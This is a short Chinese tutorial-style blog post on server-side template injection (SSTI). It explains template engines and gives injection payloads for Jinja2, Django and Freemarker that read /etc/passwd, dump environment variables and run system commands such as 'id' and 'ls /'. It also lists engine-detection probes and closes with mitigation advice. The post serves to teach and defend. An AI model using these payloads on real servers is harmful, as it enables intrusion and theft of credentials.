SSTI漏洞

简单介绍:

SSTI(Server-Side Template Injection,服务器端模板注入)是一种代码注入漏洞,攻击者通过操纵应用程序的模板引擎,注入恶意代码并在服务器端执行,从而获取敏感信息、执行命令或接管系统。

核心原理:

  1. 模板引擎:

    现代 Web 应用常使用模板引擎(如 Python 的 Jinja2、Java 的 Velocity、PHP 的 Twig)动态生成 HTML 页面。模板通常包含变量指令,例如:

    1
    2
    <!-- Jinja2 模板示例 -->
    <h1>Hello, {{ name }}!</h1>
  2. 漏洞触发:

    当应用程序直接将用户输入作为模板的一部分渲染,且未进行严格过滤时,攻击者可注入恶意模板指令.

    1
    2
    3
    4
    5
    <!-- 正常输入 -->
    name = "Alice" → 渲染为 <h1>Hello, Alice!</h1>

    <!-- 恶意输入(SSTI攻击) -->
    name = "{{ 7*7 }}" → 渲染为 <h1>Hello, 49!</h1>

攻击方式

1. 信息泄露

攻击者通过注入表达式读取服务器文件或环境变量:

1
2
3
4
5
# 读取敏感文件(Jinja2 引擎)
{{ open('/etc/passwd').read() }}

# 获取环境变量(Django 引擎)
{{ request.environ }}

2. 命令执行

利用模板引擎的漏洞执行系统命令:

1
2
3
4
5
# Python 命令执行(Jinja2)
{{ ''.__class__.__mro__[2].__subclasses__()[40]('id').read() }}

# Java 命令执行(Freemarker)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

3. RCE(远程代码执行)

通过链式注入获取服务器控制权:

1
2
# Flask/Jinja2 环境下执行任意命令
{{ request.application.__globals__.__builtins__.__import__('os').popen('ls /').read() }}

自动化工具:Tplmap

手动测试
使用不同语法测试常见引擎(如 Jinja2、Freemarker):

1
2
3
4
{{7*7}}        # Jinja2/Django
${7*7} # Freemarker/SpEL
#{7*7} # Velocity
${7*7}%> # ERB

漏洞危害

  • 敏感信息泄露:读取配置文件、数据库凭证等
  • 服务器权限提升:通过执行系统命令获取 root 权限
  • 横向移动:利用服务器作为跳板攻击内网其他系统
  • DDOS 攻击:消耗服务器资源导致服务不可用

结论:

​ SSTI 是一种严重的漏洞,攻击者可利用它直接控制服务器。修复的关键在于严格过滤用户输入禁用模板引擎的危险功能,并定期更新组件。在开发过程中,应遵循 “不信任任何外部输入” 的原则,对所有用户提交的数据进行严格验证。


SSTI漏洞
http://example.com/2025/05/23/SSTI漏洞/
作者
XCDH
发布于
2025年5月23日
许可协议